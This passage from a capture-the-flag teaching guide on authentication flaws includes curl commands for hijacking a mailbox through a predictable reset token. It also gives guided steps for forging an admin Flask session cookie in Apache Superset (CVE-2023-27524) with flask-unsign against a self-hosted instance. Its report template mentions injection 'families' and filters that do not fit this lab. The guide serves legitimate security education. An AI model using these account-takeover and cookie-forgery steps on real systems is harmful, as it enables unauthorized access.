/reset/) in place of the placeholder below:curl -s -c jar.txt -X POST "http://auth11.chal.deti:8070/reset/PASTE_THE_PATH_HERE" \ --data-urlencode "password=whatever-you-like-123"(Paste only the part after
/reset/if you kept the/reset/in the URL already — do not duplicate it.) -
Read the mailbox you just took over:
curl -s -b jar.txt http://auth11.chal.deti:8070/mailboxThe flag is sitting in the inbox.
Why it works. A password-reset token must be random, single-use, short-lived, and unguessable — even by someone who already knows the account name. Here the token is a fixed, repeatable computation from the username alone, with no secret or expiry involved at all. Anyone who can request a reset for their own account can run the exact same computation for anyone else’s.
4. What the fourteen apps prove together
By now you should be able to say, from memory, which of these each app was:
- “The server trusts the client” has many disguises. A cookie read for a security decision (auth4), a header used for access control (auth2), a token’s own claim about how to verify itself (auth7). Different surface, same root cause: control must live server-side, always, with nothing taken on the client’s word.
- An identifier is only as good as its whole lifecycle. Carried in a URL (auth3), never rotated at login (auth5, auth6), derived from something guessable (auth9), or never actually invalidated on logout (auth14) — a session mechanism fails the moment any one of those properties slips, no matter how long the random-looking part is.
- A credential is a process, not just a string. Weak by default (auth1), shared and never rotated (auth10), stored in a reversible, “encrypted”-in-name-only form (auth12), or simply never rate-limited (auth13) — the password character set was rarely the interesting part; the process around it was.
- Correct cryptography does not save a bad policy. A JWT can be perfectly formatted and still worthless if the verifier takes instructions from the token itself (auth7), or policy-compliant and still worthless if the key behind it is weak (auth8).
- The fix is almost always cheaper than the bug. Pin the algorithm server-side. Generate session ids and reset tokens from a secure random source, and replace them on every privilege change. Hash passwords with a slow, salted algorithm, and rate-limit the login endpoint. None of these fourteen apps needed a redesign — each needed one decision moved from the client (or from “convenient”) back to the server (and to “random”).
5. Wrap-up checklist
For each app you worked through, write down, in one sentence each:
- What did the server trust that it should not have — a header, a cookie, a token claim, a password’s strength, or an identifier’s secrecy?
- How did you prove it — which exact request, compared against which other request?
- What is the one-line fix, phrased in terms of this specific app — not a generic “add security”?
If you cannot answer all three for an app, go back and redo its Steps section — each one tells you exactly what to run and what to expect, even where you have to build the actual command or script yourself.
6. Final exercise (optional) — the same bug, in a real application
Everything above was a small app built on purpose to teach one lesson each. This last exercise is different on purpose: it is optional, worth no CTFd points, and uses a real, widely-deployed open-source application with a real CVE — one that was not just found by a researcher, but actually used by real attackers against real servers. It is also a genuine capstone: the bug combines two lessons from this sheet at once — a secret that should never have stayed at its default (§3.1) and a signed token that is only as trustworthy as the key behind it (§3.4).
The CVE: CVE-2023-27524, in Apache Superset (a real, widely used open-source data -visualization tool — not a teaching app), versions up to and including 2.0.1. It is on CISA’s Known Exploited Vulnerabilities catalog: this was abused in the real world, not just demonstrated in a lab.
The bug, in one sentence. Superset is built on Flask. Flask does not encrypt its
session cookie — it signs it, with a secret key (SECRET_KEY) the server is
supposed to keep private, so that a tampered cookie can be detected and rejected.
Superset shipped with a hardcoded default value for that key, documented in its own
source code, and a large share of real installations never changed it. Anyone who
knows the default key can build a session cookie from scratch — not steal one,
build one — claiming to be any user at all, administrator included. (Horizon3.ai’s
write-up
found two-thirds of the public Superset servers they scanned still running the
default.)
Before you start: this needs real internet access from your container — to pull a container image and to install a Python package — which this guide has not needed anywhere else. The rest of the lab’s targets are reachable even with no general internet access at all; this exercise is not. Try step 1 first and move on if it does not work for you; ask a TA rather than spending the whole session on connectivity.
Steps.
-
Run an affected version of Superset in your own container (you have root in your own student box; use it here, not against any shared host). Superset publishes official Docker images; look up the exact run/compose instructions for version
2.0.1on Superset’s own documentation site — do not copy a command from anywhere else, since the exact invocation changes between releases and you should be reading the project’s own instructions anyway before running someone’s container on your machine. Give it a few minutes to finish its first-time setup before trying to reach it. -
Once it is up, visit it in a browser (or
curl -i) and look at the cookie it sets on you — you do not need to log in first; even an anonymous visit gets a session cookie, because Flask starts tracking a session the moment you arrive. Copy the full value of that cookie. -
Install the tool this exercise is built around:
pip install flask-unsignflask-unsigncarries a built-in list of secret keys that have leaked out of real open-source projects over the years — this CVE’s default key is one of them — and can test your cookie against every one of them in a few seconds. -
Ask it to find the key behind your cookie:
flask-unsign --unsign --cookie 'PASTE_YOUR_COOKIE_VALUE_HERE'If the instance you stood up still has the default key, this returns it, along with the cookie’s own decoded content (Flask session cookies are signed, not encrypted — the same distinction as auth12’s “encrypted” password in this lab; you can read them without the key, you just can’t forge new ones without it).
-
Read that decoded content carefully. It is a Python dictionary, and somewhere in it is whatever Superset’s login system (Flask-Login) checks to decide which user a session belongs to. You are not told the field name here — work it out from what your own, currently-anonymous cookie’s content looks like, and from Flask-Login’s own public documentation of what it stores.
-
Using
flask-unsign’s--signmode, the key you recovered in step 4, and the field you identified in step 5, build your own cookie claiming to be the very first user Superset created for itself during setup (its id is a small number, not a secret). Readflask-unsign --helpfor the exact--sign/--cookie/--secretflags — this guide has pointed you at the tool and the pieces; assembling the final command is the exercise. -
Present the cookie you built to the running Superset instance (set it as your browser’s cookie for the site, or pass it with
curl’s--cookieflag) and confirm you are now recognized as that user — no password, no real login, just a cookie you built yourself from a key that was never actually secret.
Why it works. The same lesson as auth1 (a default nobody rotated) and auth8/auth9 (a signed token is only as strong as the secret behind it), except the “default” here was never a short, brute-forceable PIN — it was a literal, documented value sitting in public source code and exploit databases for anyone to copy. No brute force was ever needed; the key was simply known, which is a strictly worse situation than auth8’s four-digit secret.
For your write-up (optional): compare this CVE to auth8 in this lab. Both are “the signature is correct, but the key behind it was weak” — but auth8’s secret had to be found (10,000 guesses, computed locally); this CVE’s secret only had to be looked up. Which would you rather defend against as an operator, and why does the answer change what “rotate your secrets” should really mean in practice?
A note on scope, since this is real software: only ever do this against an instance you started yourself, in your own container, for this exercise alone — never against a shared host, a production system, or anything you do not own. That is true of everything else in this lab too; it matters more here because Superset is real software other people genuinely run.
7. Your personal lab report (OWASP PTES)
The OWASP Penetration Testing Execution Standard (PTES) describes a penetration test as a sequence of phases. Use those seven phases as the skeleton of a short report on this lab.
Framing: this report is for you — an exercise, not a delivery. Nobody grades its format. Write it as if it were a real engagement write-up you would be proud to show: concrete, evidence-backed, and honest about what you did not manage. The bar is: a person who was not in the lab should be able to read it and reproduce every step.
Phase 0 — Pre-engagement interactions
- Scope: the targets, addresses, values (your target table).
- Rules of engagement you followed, and any questions you had to resolve.
- Tooling: what you used (browser, curl, your scripts), and why.
Phase 1 — Intelligence gathering
For each app, what you learned before exploiting:
- Endpoints and parameters (where did you find them — forms, URLs, source view?).
- Which inputs are reflected, echoed, or used silently — and where the interesting output lands (response, log page, later run).
- Consumer identification — and the exact observation that told you (which one of the ten from the target table, and the evidence).
- Filter discovery: for the filtered apps, the exact list of what the filter does and does not do — your probes, one per character.
- Data inventory: what can the service user see? (The listing that found the flag’s directory is your first real map.)
Phase 2 — Threat modeling
For each app:
- Which inputs reach which consumer, and what did you assume before you proved it?
- What data in that world is sensitive (not just the flag)?
- If injection succeeds, what is at stake — confidentiality, integrity, availability?
- Trust boundaries: who/what is trusted (the shipper trusting the config, the runner trusting the plugin path, the app trusting the gate’s view of the request)?
Phase 3 — Vulnerability analysis
For each app, one detection entry:
- The test you ran (payload + request).
- The evidence (response snippet or screenshot) — what exactly changed.
- The classification: which of the ten families from the target table, and why not the others.
- Your confidence, and what would have lowered it.
Phase 4 — Exploitation
For each app:
- The full chain from detection to flag (requests, in order).
- What was hardest, and how you got past it (a missing character, a second request, a second decode, a hook you had to build).
Phase 5 — Post-exploitation
For each app, now that you have the service user’s world:
- What else is reachable (other files, other directories) — and what a real attacker would do with it?
- What could be changed (the label file, the config, the log, the plugin directory, the “function store”)?
- What you deliberately did not do, and why. (This is the professional line — make it explicit in the report.)
Phase 6 — Reporting
- A findings table: one row per app — finding, severity, evidence, root cause, impact, remediation.
- A short overall picture: the common root cause, the one-sentence fix that covers the shell family, the per-family fixes, and the depth measures.
- Reflection (this is the part that is really for you):
- Which PTES phase took the most time, and was that what you expected?
- Which family surprised you most? Which filter character did you try last?
- What would you do differently on a second pass?
Appendices (suggested): the payloads you used, verbatim; your PoC bench folder; the 403 control from GateKeeper; the decoy and where it hid.
Self-check — “done” means you can answer, for every one of the fourteen apps: which input, which consumer, which family, which payload, what else was reachable, and the one-line fix — plus, for the filtered apps, which character or view the filter missed. If any app cannot answer all of that, that is your next experiment.
8. References
- OWASP Top 10 — A07:2021 Identification and Authentication Failures
- OWASP Authentication Cheat Sheet
- OWASP Session Management Cheat Sheet
- OWASP JSON Web Token Cheat Sheet
- NIST SP 800-63B — Authentication and Lifecycle Management
- RFC 6265 — HTTP State Management Mechanism (cookies)
- RFC 7519 — JSON Web Token (JWT)
- CVE-2023-27524 (NVD) and Horizon3.ai’s write-up — the real-world CVE used in §6.
flask-unsignon PyPI — the tool §6 uses to test and forge Flask session cookies.- CISA Known Exploited Vulnerabilities catalog